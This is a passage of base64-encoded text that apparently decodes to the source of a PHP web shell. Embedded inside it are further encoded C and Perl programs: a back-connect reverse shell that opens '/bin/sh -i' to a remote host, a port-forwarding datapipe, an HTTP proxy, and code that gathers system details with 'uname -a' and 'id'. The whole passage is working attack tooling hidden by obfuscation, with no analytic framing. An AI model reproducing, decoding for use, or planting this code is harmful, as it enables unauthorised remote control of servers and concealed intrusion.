pEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqCmFHOGdJbUJwWkdBaU95OWlhVzR2YzJnbk93MEtKREE5SkdOdFpEc05DaVIwWVhKblpYUTlKRUZTUjFaYk1GMDdEUW9rY0c5eWREMGtRVkpIVmxzeFhUc05DaVJwWVdSa2NqMXBibVYwWDJGMGIyNG9KSFIKaGNtZGxkQ2tnZkh3Z1pHbGxLQ0pGY25KdmNqb2dKQ0ZjYmlJcE93MEtKSEJoWkdSeVBYTnZZMnRoWkdSeVgybHVLQ1J3YjNKMExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVApzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JCmtWeWNtOXlPaUFrSVZ4dUlpazdEUXBqYjI1dVpXTjBLRk5QUTB0RlZDd2dKSEJoWkdSeUtTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwdmNHVnVLRk5VUkVsT0xDQWlQaVpUVDBOTFJWUWkKS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNna2MzbHpkR1Z0S1RzTkNtTnNiM05sS0ZOVVJFbApPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsKJGJhY2tfY29ubmVjdF9jPSJJMmx1WTJ4MVpHVWdQSE4wWkdsdkxtZytEUW9qYVc1amJIVmtaU0E4YzNsekwzTnZZMnRsZEM1b1BnMEtJMmx1WTJ4MVpHVWdQRzVsZEdsdVpYUXZhVzR1YUQ0TkNtbHVkQwpCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcERRcDdEUW9nYVc1MElHWmtPdzBLSUhOMGNuVmpkQ0J6YjJOcllXUmtjbDlwYmlCemFXNDdEUW9nWTJoaGNpQnliWE5iTWpGZFBTSnliClNBdFppQWlPeUFOQ2lCa1lXVnRiMjRvTVN3d0tUc05DaUJ6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nYzJsdUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb1lYUnZhU2hoY21kMld6SmQKS1NrN0RRb2djMmx1TG5OcGJsOWhaR1J5TG5OZllXUmtjaUE5SUdsdVpYUmZZV1JrY2loaGNtZDJXekZkS1RzZ0RRb2dZbnBsY204b1lYSm5kbHN4WFN4emRISnNaVzRvWVhKbmRsc3hYU2tyTVN0emRISgpzWlc0b1lYSm5kbHN5WFNrcE95QU5DaUJtWkNBOUlITnZZMnRsZENoQlJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dTVkJRVWs5VVQxOVVRMUFwSURzZ0RRb2dhV1lnS0NoamIyNXVaV04wS0daa0xDCkFvYzNSeWRXTjBJSE52WTJ0aFpHUnlJQ29wSUNaemFXNHNJSE5wZW1WdlppaHpkSEoxWTNRZ2MyOWphMkZrWkhJcEtTazhNQ2tnZXcwS0lDQWdjR1Z5Y205eUtDSmJMVjBnWTI5dWJtVmpkQ2dwSWlrN0QKUW9nSUNCbGVHbDBLREFwT3cwS0lIME5DaUJ6ZEhKallYUW9jbTF6TENCaGNtZDJXekJkS1RzTkNpQnplWE4wWlcwb2NtMXpLVHNnSUEwS0lHUjFjRElvWm1Rc0lEQXBPdzBLSUdSMWNESW9abVFzSURFcApPdzBLSUdSMWNESW9abVFzSURJcE93MEtJR1Y0WldOc0tDSXZZbWx1TDNOb0lpd2ljMmdnTFdraUxDQk9WVXhNS1RzTkNpQmpiRzl6WlNobVpDazdJQTBLZlE9PSI7CiRkYXRhcGlwZV9jPSJJMmx1WTJ4MVpHVWdQSE41Y3k5MGVYQmxjeTVvUGcwS0kybHVZMngxWkdVZ1BITjVjeTl6YjJOclpYUXVhRDROQ2lOcGJtTnNkV1JsSUR4emVYTXZkMkZwZEM1b1BnMEtJMmx1WTIKeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DaU5wYm1Oc2RXUmxJRHh6ZEdScGJ5NW9QZzBLSTJsdVkyeDFaR1VnUEhOMFpHeHBZaTVvUGcwS0kybHVZMngxWkdVZ1BHVnljbTV2TG1nK0RRb2phVzVqYgpIVmtaU0E4ZFc1cGMzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHNhVzUxZUM5MGFXMWxMbWcrRFFvamFXWmtaV1lnVTFSU1JWSlNUMUlOQ21WNGRHVnliaUJqCmFHRnlJQ3B6ZVhOZlpYSnliR2x6ZEZ0ZE93MEtaWGgwWlhKdUlHbHVkQ0J6ZVhOZmJtVnljanNOQ21Ob1lYSWdLblZ1WkdWbUlEMGdJbFZ1WkdWbWFXNWxaQ0JsY25KdmNpSTdEUXBqYUdGeUlDcHpkSEoKbGNuSnZjaWhsY25KdmNpa2dJQTBLYVc1MElHVnljbTl5T3lBZ0RRcDdJQTBLYVdZZ0tHVnljbTl5SUQ0Z2MzbHpYMjVsY25JcERRcHlaWFIxY200Z2RXNWtaV1k3RFFweVpYUjFjbTRnYzNselgyVnljbQp4cGMzUmJaWEp5YjNKZE93MEtmUTBLSTJWdVpHbG1EUW9OQ20xaGFXNG9ZWEpuWXl3Z1lYSm5kaWtnSUEwS0lDQnBiblFnWVhKbll6c2dJQTBLSUNCamFHRnlJQ29xWVhKbmRqc2dJQTBLZXlBTkNpQWdhClc1MElHeHpiMk5yTENCamMyOWpheXdnYjNOdlkyczdEUW9nSUVaSlRFVWdLbU5tYVd4bE93MEtJQ0JqYUdGeUlHSjFabHMwTURrMlhUc05DaUFnYzNSeWRXTjBJSE52WTJ0aFpHUnlYMmx1SUd4aFpHUnkKTENCallXUmtjaXdnYjJGa1pISTdEUW9nSUdsdWRDQmpZV1JrY214bGJpQTlJSE5wZW1WdlppaGpZV1JrY2lrN0RRb2dJR1prWDNObGRDQm1aSE55TENCbVpITmxPdzBLSUNCemRISjFZM1FnYUc5emRHVgp1ZENBcWFEc05DaUFnYzNSeWRXTjBJSE5sY25abGJuUWdLbk03RFFvZ0lHbHVkQ0J1WW5sME93MEtJQ0IxYm5OcFoyNWxaQ0JzYjI1bklHRTdEUW9nSUhWdWMybG5ibVZrSUhOb2IzSjBJRzl3YjNKME93CjBLRFFvZ0lHbG1JQ2hoY21kaklDRTlJRFFwSUhzTkNpQWdJQ0JtY0hKcGJuUm1LSE4wWkdWeWNpd2lWWE5oWjJVNklDVnpJR3h2WTJGc2NHOXlkQ0J5WlcxdmRHVndiM0owSUhKbGJXOTBaV2h2YzNSY2IKaUlzWVhKbmRsc3dYU2s3RFFvZ0lDQWdjbVYwZFhKdUlETXdPdzBLSUNCOURRb2dJR0VnUFNCcGJtVjBYMkZrWkhJb1lYSm5kbHN6WFNrN0RRb2dJR2xtSUNnaEtHZ2dQU0JuWlhSb2IzTjBZbmx1WVcxbApLR0Z5WjNaYk0xMHBLU0FtSmcwS0lDQWdJQ0FnSVNob0lEMGdaMlYwYUc5emRHSjVZV1JrY2lnbVlTd2dOQ3dnUVVaZlNVNUZWQ2twS1NCN0RRb2dJQ0FnY0dWeWNtOXlLR0Z5WjNaYk0xMHBPdzBLSUNBCmdJSEpsZEhWeWJpQXlOVHNOQ2lBZ2ZRMEtJQ0J2Y0c5eWRDQTlJR0YwYjJ3b1lYSm5kbHN5WFNrN0RRb2dJR3hoWkdSeUxuTnBibDl3YjNKMElEMGdhSFJ2Ym5Nb0tIVnVjMmxuYm1Wa0lITm9iM0owS1MKaGhkRzlzS0dGeVozWmJNVjBwS1NrN0RRb2dJR2xtSUNnb2JITnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQwppQWdJQ0J3WlhKeWIzSW9Jbk52WTJ0bGRDSXBPdzBLSUNBZ0lISmxkSFZ5YmlBeU1Ec05DaUFnZlEwS0lDQnNZV1JrY2k1emFXNWZabUZ0YVd4NUlEMGdhSFJ2Ym5Nb1FVWmZTVTVGVkNrN0RRb2dJR3hoClpHUnlMbk5wYmw5aFpHUnlMbk5mWVdSa2NpQTlJR2gwYjI1c0tEQXBPdzBLSUNCcFppQW9ZbWx1WkNoc2MyOWpheXdnSm14aFpHUnlMQ0J6YVhwbGIyWW9iR0ZrWkhJcEtTa2dldzBLSUNBZ0lIQmxjbkoKdmNpZ2lZbWx1WkNJcE93MEtJQ0FnSUhKbGRIVnliaUF5TURzTkNpQWdmUTBLSUNCcFppQW9iR2x6ZEdWdUtHeHpiMk5yTENBeEtTa2dldzBLSUNBZ0lIQmxjbkp2Y2lnaWJHbHpkR1Z1SWlrN0RRb2dJQwpBZ2NtVjBkWEp1SURJd093MEtJQ0I5RFFvZ0lHbG1JQ2dvYm1KNWRDQTlJR1p2Y21zb0tTa2dQVDBnTFRFcElIc05DaUFnSUNCd1pYSnliM0lvSW1admNtc2lLVHNOQ2lBZ0lDQnlaWFIxY200Z01qQTdEClFvZ0lIME5DaUFnYVdZZ0tHNWllWFFnUGlBd0tRMEtJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQnpaWFJ6YVdRb0tUc05DaUFnZDJocGJHVWdLQ2hqYzI5amF5QTlJR0ZqWTJWd2RDaHNjMjlqYXl3Z0ptTmgKWkdSeUxDQW1ZMkZrWkhKc1pXNHBLU0FoUFNBdE1Ta2dldzBLSUNBZ0lHTm1hV3hsSUQwZ1ptUnZjR1Z1S0dOemIyTnJMQ0p5S3lJcE93MEtJQ0FnSUdsbUlDZ29ibUo1ZENBOUlHWnZjbXNvS1NrZ1BUMApnTFRFcElIc05DaUFnSUNBZ0lHWndjbWx1ZEdZb1kyWnBiR1VzSUNJMU1EQWdabTl5YXpvZ0pYTmNiaUlzSUhOMGNtVnljbTl5S0dWeWNtNXZLU2s3RFFvZ0lDQWdJQ0J6YUhWMFpHOTNiaWhqYzI5amF5Cnd5S1RzTkNpQWdJQ0FnSUdaamJHOXpaU2hqWm1sc1pTazdEUW9nSUNBZ0lDQmpiMjUwYVc1MVpUc05DaUFnSUNCOURRb2dJQ0FnYVdZZ0tHNWllWFFnUFQwZ01Da05DaUFnSUNBZ0lHZHZkRzhnWjI5MGMKMjlqYXpzTkNpQWdJQ0JtWTJ4dmMyVW9ZMlpwYkdVcE93MEtJQ0FnSUhkb2FXeGxJQ2gzWVdsMGNHbGtLQzB4TENCT1ZVeE1MQ0JYVGs5SVFVNUhLU0ErSURBcE93MEtJQ0I5RFFvZ0lISmxkSFZ5YmlBeQpNRHNOQ2cwS0lHZHZkSE52WTJzNkRRb2dJR2xtSUNnb2IzTnZZMnNnUFNCemIyTnJaWFFvVUVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lFbFFVRkpQVkU5ZlZFTlFLU2tnUFQwZ0xURXBJSHNOQ2lBCmdJQ0JtY0hKcGJuUm1LR05tYVd4bExDQWlOVEF3SUhOdlkydGxkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQnZZV1JrY2kKNXphVzVmWm1GdGFXeDVJRDBnYUMwK2FGOWhaR1J5ZEhsd1pUc05DaUFnYjJGa1pISXVjMmx1WDNCdmNuUWdQU0JvZEc5dWN5aHZjRzl5ZENrN0RRb2dJRzFsYldOd2VTZ21iMkZrWkhJdWMybHVYMkZrWgpISXNJR2d0UG1oZllXUmtjaXdnYUMwK2FGOXNaVzVuZEdncE93MEtJQ0JwWmlBb1kyOXVibVZqZENodmMyOWpheXdnSm05aFpHUnlMQ0J6YVhwbGIyWW9iMkZrWkhJcEtTa2dldzBLSUNBZ0lHWndjbWx1CmRHWW9ZMlpwYkdVc0lDSTFNREFnWTI5dWJtVmpkRG9nSlhOY2JpSXNJSE4wY21WeWNtOXlLR1Z5Y201dktTazdEUW9nSUNBZ1oyOTBieUJ4ZFdsME1Uc05DaUFnZlEwS0lDQjNhR2xzWlNBb01Ta2dldzAKS0lDQWdJRVpFWDFwRlVrOG9KbVprYzNJcE93MEtJQ0FnSUVaRVgxcEZVazhvSm1aa2MyVXBPdzBLSUNBZ0lFWkVYMU5GVkNoamMyOWpheXdtWm1SemNpazdEUW9nSUNBZ1JrUmZVMFZVS0dOemIyTnJMQwpabVpITmxLVHNOQ2lBZ0lDQkdSRjlUUlZRb2IzTnZZMnNzSm1aa2MzSXBPdzBLSUNBZ0lFWkVYMU5GVkNodmMyOWpheXdtWm1SelpTazdEUW9nSUNBZ2FXWWdLSE5sYkdWamRDZ3lNQ3dnSm1aa2MzSXNJCkU1VlRFd3NJQ1ptWkhObExDQk9WVXhNS1NBOVBTQXRNU2tnZXcwS0lDQWdJQ0FnWm5CeWFXNTBaaWhqWm1sc1pTd2dJalV3TUNCelpXeGxZM1E2SUNWelhHNGlMQ0J6ZEhKbGNuSnZjaWhsY25KdWJ5a3AKT3cwS0lDQWdJQ0FnWjI5MGJ5QnhkV2wwTWpzTkNpQWdJQ0I5RFFvZ0lDQWdhV1lnS0VaRVgwbFRVMFZVS0dOemIyTnJMQ1ptWkhOeUtTQjhmQ0JHUkY5SlUxTkZWQ2hqYzI5amF5d21abVJ6WlNrcElIcwpOQ2lBZ0lDQWdJR2xtSUNnb2JtSjVkQ0E5SUhKbFlXUW9ZM052WTJzc1luVm1MRFF3T1RZcEtTQThQU0F3S1EwS0NXZHZkRzhnY1hWcGRESTdEUW9nSUNBZ0lDQnBaaUFvS0hkeWFYUmxLRzl6YjJOckxHCkoxWml4dVlubDBLU2tnUEQwZ01Da05DZ2xuYjNSdklIRjFhWFF5T3cwS0lDQWdJSDBnWld4elpTQnBaaUFvUmtSZlNWTlRSVlFvYjNOdlkyc3NKbVprYzNJcElIeDhJRVpFWDBsVFUwVlVLRzl6YjJOckwKQ1ptWkhObEtTa2dldzBLSUNBZ0lDQWdhV1lnS0NodVlubDBJRDBnY21WaFpDaHZjMjlqYXl4aWRXWXNOREE1TmlrcElEdzlJREFwRFFvSloyOTBieUJ4ZFdsME1qc05DaUFnSUNBZ0lHbG1JQ2dvZDNKcApkR1VvWTNOdlkyc3NZblZtTEc1aWVYUXBLU0E4UFNBd0tRMEtDV2R2ZEc4Z2NYVnBkREk3RFFvZ0lDQWdmUTBLSUNCOURRb05DaUJ4ZFdsME1qb05DaUFnYzJoMWRHUnZkMjRvYjNOdlkyc3NNaWs3RFFvCmdJR05zYjNObEtHOXpiMk5yS1RzTkNpQnhkV2wwTVRvTkNpQWdabVpzZFhOb0tHTm1hV3hsS1RzTkNpQWdjMmgxZEdSdmQyNG9ZM052WTJzc01pazdEUW9nY1hWcGREQTZEUW9nSUdaamJHOXpaU2hqWm0KbHNaU2s3RFFvZ0lISmxkSFZ5YmlBd093MEtmUT09IjsKJGRhdGFwaXBlX3BsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnU1U4Nk9sTnZZMnRsZERzTkNuVnpaU0JRVDFOSldEc05DaVJzYjJOaGJIQnZjblFnUFNBa1FWSkhWbHN3WFRzTkNpUm9iM04wSQpDQWdJQ0FnUFNBa1FWSkhWbHN4WFRzTkNpUndiM0owSUNBZ0lDQWdQU0FrUVZKSFZsc3lYVHNOQ2lSa1lXVnRiMjQ5TVRzTkNpUkVTVklnUFNCMWJtUmxaanNOQ2lSOElEMGdNVHNOQ21sbUlDZ2taR0ZsCmJXOXVLWHNnSkhCcFpDQTlJR1p2Y21zN0lHVjRhWFFnYVdZZ0pIQnBaRHNnWkdsbElDSWtJU0lnZFc1c1pYTnpJR1JsWm1sdVpXUW9KSEJwWkNrN0lGQlBVMGxZT2pwelpYUnphV1FvS1NCdmNpQmthV1UKZ0lpUWhJanNnZlEwS0pXOGdQU0FvSjNCdmNuUW5JRDArSUNSc2IyTmhiSEJ2Y25Rc0ozUnZjRzl5ZENjZ1BUNGdKSEJ2Y25Rc0ozUnZhRzl6ZENjZ1BUNGdKR2h2YzNRcE93MEtKR0ZvSUQwZ1NVODZPbApOdlkydGxkRG82U1U1RlZDMCtibVYzS0NkTWIyTmhiRkJ2Y25RbklEMCtJQ1JzYjJOaGJIQnZjblFzSjFKbGRYTmxKeUE5UGlBeExDZE1hWE4wWlc0bklEMCtJREV3S1NCOGZDQmthV1VnSWlRaElqc05DCmlSVFNVZDdKME5JVEVRbmZTQTlJQ2RKUjA1UFVrVW5PdzBLSkc1MWJTQTlJREE3RFFwM2FHbHNaU0FvTVNrZ2V5QU5DaVJqYUNBOUlDUmhhQzArWVdOalpYQjBLQ2s3SUdsbUlDZ2hKR05vS1NCN0lIQnkKYVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3SUc1bGVIUTdJSDBOQ2lzckpHNTFiVHNOQ2lSd2FXUWdQU0JtYjNKcktDazdEUXBwWmlBb0lXUmxabWx1WldRb0pIQnBaQ2twSUhzZ2NISnBiblFnVTFSRVJWSgpTSUNJa0lWeHVJanNnZlNBTkNtVnNjMmxtSUNna2NHbGtJRDA5SURBcElIc2dKR0ZvTFQ1amJHOXpaU2dwT3lCU2RXNG9YQ1Z2TENBa1kyZ3NJQ1J1ZFcwcE95QjlJQTBLWld4elpTQjdJQ1JqYUMwK1kyCnh2YzJVb0tUc2dmUTBLZlEwS2MzVmlJRkoxYmlCN0RRcHRlU2drYnl3Z0pHTm9MQ0FrYm5WdEtTQTlJRUJmT3cwS2JYa2dKSFJvSUQwZ1NVODZPbE52WTJ0bGREbzZTVTVGVkMwK2JtVjNLQ2RRWldWeVEKV1JrY2ljZ1BUNGdKRzh0UG5zbmRHOW9iM04wSjMwc0oxQmxaWEpRYjNKMEp5QTlQaUFrYnkwK2V5ZDBiM0J2Y25RbmZTazdEUXBwWmlBb0lTUjBhQ2tnZXlCbGVHbDBJREE3SUgwTkNtMTVJQ1JtYURzTgpDbWxtSUNna2J5MCtleWRrYVhJbmZTa2dleUFrWm1nZ1BTQlRlVzFpYjJ3Nk9tZGxibk41YlNncE95QnZjR1Z1S0NSbWFDd2dJajRrYnkwK2V5ZGthWEluZlM5MGRXNXVaV3drYm5WdExteHZaeUlwSUc5CnlJR1JwWlNBaUpDRWlPeUI5RFFva1kyZ3RQbUYxZEc5bWJIVnphQ2dwT3cwS0pIUm9MVDVoZFhSdlpteDFjMmdvS1RzTkNuZG9hV3hsSUNna1kyZ2dmSHdnSkhSb0tTQjdEUXB0ZVNBa2NtbHVJRDBnSWkKSTdEUXAyWldNb0pISnBiaXdnWm1sc1pXNXZLQ1JqYUNrc0lERXBJRDBnTVNCcFppQWtZMmc3RFFwMlpXTW9KSEpwYml3Z1ptbHNaVzV2S0NSMGFDa3NJREVwSUQwZ01TQnBaaUFrZEdnN0RRcHRlU2drYwptOTFkQ3dnSkdWdmRYUXBPdzBLYzJWc1pXTjBLQ1J5YjNWMElEMGdKSEpwYml3Z2RXNWtaV1lzSUNSbGIzVjBJRDBnSkhKcGJpd2dNVEl3S1RzTkNtbG1JQ2doSkhKdmRYUWdJQ1ltSUNBaEpHVnZkWFFwCklIdDlEUXB0ZVNBa1kySjFabVpsY2lBOUlDSWlPdzBLYlhrZ0pIUmlkV1ptWlhJZ1BTQWlJanNOQ21sbUlDZ2tZMmdnSmlZZ0tIWmxZeWdrWlc5MWRDd2dabWxzWlc1dktDUmphQ2tzSURFcElIeDhJSFoKbFl5Z2tjbTkxZEN3Z1ptbHNaVzV2S0NSamFDa3NJREVwS1NrZ2V3MEtiWGtnSkhKbGMzVnNkQ0E5SUhONWMzSmxZV1FvSkdOb0xDQWtkR0oxWm1abGNpd2dNVEF5TkNrN0RRcHBaaUFvSVdSbFptbHVaVwpRb0pISmxjM1ZzZENrcElIc05DbkJ5YVc1MElGTlVSRVZTVWlBaUpDRmNiaUk3RFFwbGVHbDBJREE3RFFwOURRcHBaaUFvSkhKbGMzVnNkQ0E5UFNBd0tTQjdJR1Y0YVhRZ01Ec2dmUTBLZlEwS2FXWWdLCkNSMGFDQWdKaVlnSUNoMlpXTW9KR1Z2ZFhRc0lHWnBiR1Z1Ynlna2RHZ3BMQ0F4S1NBZ2ZId2dkbVZqS0NSeWIzVjBMQ0JtYVd4bGJtOG9KSFJvS1N3Z01Ta3BLU0I3RFFwdGVTQWtjbVZ6ZFd4MElEMGcKYzNsemNtVmhaQ2drZEdnc0lDUmpZblZtWm1WeUxDQXhNREkwS1RzTkNtbG1JQ2doWkdWbWFXNWxaQ2drY21WemRXeDBLU2tnZXlCd2NtbHVkQ0JUVkVSRlVsSWdJaVFoWEc0aU95QmxlR2wwSURBN0lIMApOQ21sbUlDZ2tjbVZ6ZFd4MElEMDlJREFwSUh0bGVHbDBJREE3ZlEwS2ZRMEthV1lnS0NSbWFDQWdKaVlnSUNSMFluVm1abVZ5S1NCN0tIQnlhVzUwSUNSbWFDQWtkR0oxWm1abGNpazdmUTBLZDJocGJHClVnS0cxNUlDUnNaVzRnUFNCc1pXNW5kR2dvSkhSaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KSFJvTENBa2RHSjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0kKREFwSUhza2RHSjFabVpsY2lBOUlITjFZbk4wY2lna2RHSjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmUTBLZDJocGJHVWdLRzE1SUNScwpaVzRnUFNCc1pXNW5kR2dvSkdOaWRXWm1aWElwS1NCN0RRcHRlU0FrY21WeklEMGdjM2x6ZDNKcGRHVW9KR05vTENBa1kySjFabVpsY2l3Z0pHeGxiaWs3RFFwcFppQW9KSEpsY3lBK0lEQXBJSHNrWTJKCjFabVpsY2lBOUlITjFZbk4wY2lna1kySjFabVpsY2l3Z0pISmxjeWs3ZlNBTkNtVnNjMlVnZTNCeWFXNTBJRk5VUkVWU1VpQWlKQ0ZjYmlJN2ZRMEtmWDE5RFFvPSI7CiRwcnhfcGw9Ikl5RjFjM0l2WW1sdUwzQmxjbXdLZFhObElGTnZZMnRsZERzS2JYa2dKSEJ2Y25RZ1BTQWtRVkpIVmxzd1hYeDhNekV6TXpjN0NtMTVJQ1J3Y205MGIyTnZiQ0E5SUdkbGRIQnliM1J2WW4KbHVZVzFsS0NkMFkzQW5LVHNLYlhrZ0pHMTVYMkZrWkhJZ0lEMGdjMjlqYTJGa1pISmZhVzRnS0NSd2IzSjBMQ0JKVGtGRVJGSmZRVTVaS1RzS2MyOWphMlYwSUNoVFQwTkxMQ0JCUmw5SlRrVlVMQ0JUVAowTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdlkyOXNLU0J2Y2lCa2FXVWdJbk52WTJ0bGRDZ3BPaUFrSVNJN0NuTmxkSE52WTJ0dmNIUWdLRk5QUTBzc0lGTlBURjlUVDBOTFJWUXNJRk5QWDFKRlZWTkZRVVJFClVpd3hJQ2tnYjNJZ1pHbGxJQ0p6WlhSemIyTnJiM0IwS0NrNklDUWhJanNLWW1sdVpDQW9VMDlEU3l3Z0pHMTVYMkZrWkhJcElHOXlJR1JwWlNBaVltbHVaQ2dwT2lBa0lTSTdDbXhwYzNSbGJpQW9VMDkKRFN5d2dVMDlOUVZoRFQwNU9LU0J2Y2lCa2FXVWdJbXhwYzNSbGJpZ3BPaUFrSVNJN0NpUlRTVWQ3SjBsT1ZDZDlJRDBnYzNWaUlIc0tZMnh2YzJVZ0tGTlBRMHNwT3dwbGVHbDBPd3A5T3dwM2FHbHNaUwpBb01Ta2dld3B1WlhoMElIVnViR1Z6Y3lCdGVTQWtjbVZ0YjNSbFgyRmtaSElnUFNCaFkyTmxjSFFnS0ZORlUxTkpUMDRzSUZOUFEwc3BPd3B0ZVNBb0pHWnBjM1FzSUNSdFpYUm9iMlFzSUNSeVpXMXZkCkdWZmFHOXpkQ3dnSkhKbGJXOTBaVjl3YjNKMEtTQTlJR0Z1WVd4NWVtVmZjbVZ4ZFdWemRDZ3BPd3BwWmlodmNHVnVYMk52Ym01bFkzUnBiMjRnS0ZKRlRVOVVSU3dnSkhKbGJXOTBaVjlvYjNOMExDQWsKY21WdGIzUmxYM0J2Y25RcElEMDlJREFwSUhzS1kyeHZjMlVnS0ZORlUxTkpUMDRwT3dwdVpYaDBPd3A5Q25CeWFXNTBJRkpGVFU5VVJTQWtabWx5YzNRN0NuQnlhVzUwSUZKRlRVOVVSU0FpVlhObGNpMQpCWjJWdWREb2dSMjl2WjJ4bFltOTBMekl1TVNBb0syaDBkSEE2THk5M2QzY3VaMjl2WjJ4bExtTnZiUzlpYjNRdWFIUnRiQ2xjYmlJN0NuZG9hV3hsSUNnOFUwVlRVMGxQVGo0cElIc0tibVY0ZENCcFppCkFvTDFCeWIzaDVMVU52Ym01bFkzUnBiMjQ2THlCOGZDQXZWWE5sY2kxQloyVnVkRG92S1RzS2NISnBiblFnVWtWTlQxUkZJQ1JmT3dwc1lYTjBJR2xtSUNna1h5QTlmaUF2WGx0Y2MxeDRNREJkS2lRdksKVHNLZlFwd2NtbHVkQ0JTUlUxUFZFVWdJbHh1SWpzS0pHaGxZV1JsY2lBOUlERTdDbmRvYVd4bElDZzhVa1ZOVDFSRlBpa2dld3B3Y21sdWRDQlRSVk5UU1U5T0lDUmZPd3BwWmlBb0pHaGxZV1JsY2lrZwpleUFnSUNBZ0NtbG1JQ2drYUdWaFpHVnlJQ1ltSUNSZklEMStJQzllVzF4elhIZ3dNRjBxSkM4cElIc0tKR2hsWVdSbGNpQTlJREE3Q24wS2ZRcDlDbU5zYjNObElDaFNSVTFQVkVVcE93cGpiRzl6WlNBCm9VMFZUVTBsUFRpazdDbjBLWTJ4dmMyVWdLRk5QUTBzcE93cHpkV0lnWVc1aGJIbDZaVjl5WlhGMVpYTjBJSHNLYlhrZ0tDUm1hWE4wTENBa2RYSnNMQ0FrY21WdGIzUmxYMmh2YzNRc0lDUnlaVzF2ZEcKVmZjRzl5ZEN3Z0pHMWxkR2h2WkNrN0NpUm1hWEp6ZENBOUlEeFRSVk5UU1U5T1Bqc0tKSFZ5YkNBOUlDZ2tabWx5YzNRZ1BYNGdiWHdvYUhSMGNEb3ZMMXhUS3lsOEtWc3dYVHNLS0NSdFpYUm9iMlFzSQpDUnlaVzF2ZEdWZmFHOXpkQ3dnSkhKbGJXOTBaVjl3YjNKMEtTQTlJQW9vSkdacGNuTjBJRDErSUcwaEtFZEZWQ2tnYUhSMGNEb3ZMeWhiWGk4NlhTc3BPajhvWEdRcUtTRWdLVHNLYVdZZ0tDRWtjbVZ0CmIzUmxYMmh2YzNRcElIc0tZMnh2YzJVb1UwVlRVMGxQVGlrN0NtVjRhWFE3Q24wS0pISmxiVzkwWlY5d2IzSjBJRDBnSW1oMGRIQWlJSFZ1YkdWemN5QW9KSEpsYlc5MFpWOXdiM0owS1RzS0pHWnBjbk4KMElEMStJSE12YUhSMGNEcGNMMXd2VzE1Y0wxMHJMeTg3Q25KbGRIVnliaUFvSkdacGNuTjBMQ0FrYldWMGFHOWtMQ0FrY21WdGIzUmxYMmh2YzNRc0lDUnlaVzF2ZEdWZmNHOXlkQ2s3Q24wS2MzVmlJRwo5d1pXNWZZMjl1Ym1WamRHbHZiaUI3Q20xNUlDZ2thRzl6ZEN3Z0pIQnZjblFwSUQwZ1FGOWJNU3d5WFRzS2JYa2dLQ1JrWlhOMFgyRmtaSElzSUNSamRYSXBPd3BwWmlBb0pIQnZjblFnSVg0Z0wxNWNaCkNza0x5a2dld29rY0c5eWRDQTlJQ2huWlhSelpYSjJZbmx1WVcxbEtDUndiM0owTENBaWRHTndJaWtwV3pKZE93b2tjRzl5ZENBOUlEZ3dJSFZ1YkdWemN5QW9KSEJ2Y25RcE93cDlDaVJvYjNOMElEMGcKYVc1bGRGOWhkRzl1SUNna2FHOXpkQ2tnYjNJZ2NtVjBkWEp1SURBN0NpUmtaWE4wWDJGa1pISWdQU0J6YjJOcllXUmtjbDlwYmlBb0pIQnZjblFzSUNSb2IzTjBLVHNLYzI5amEyVjBJQ2drWDFzd1hTdwpnUVVaZlNVNUZWQ3dnVTA5RFMxOVRWRkpGUVUwc0lDUndjbTkwYjJOdmJDa2diM0lnWkdsbElDSnpiMk5yWlhRb0tTQTZJQ1FoSWpzS1kyOXVibVZqZENBb0pGOWJNRjBzSUNSa1pYTjBYMkZrWkhJcElHCjl5SUhKbGRIVnliaUF3T3dva1kzVnlJRDBnYzJWc1pXTjBLQ1JmV3pCZEtUc2dJQW9rZkNBOUlERTdDbk5sYkdWamRDZ2tZM1Z5S1RzS2NtVjBkWEp1SURFN0NuMD0iOwppZigkdW5peCkKIHsKIGlmKCFpc3NldCgkX0NPT0tJRVsndW5hbWUnXSkpIHsgJHVuYW1lID0gZXgoJ3VuYW1lIC1hJyk7IHNldGNvb2tpZSgndW5hbWUnLCR1bmFtZSk7IH0gZWxzZSB7ICR1bmFtZSA9ICRfQ09PS0lFWyd1bmFtZSddOyB9CiBpZighaXNzZXQoJF9DT09LSUVbJ2lkJ10pKSB7ICRpZCA9IGV4KCdpZCcpOyBzZXRjb29raWUoJ2lkJywkaWQpOy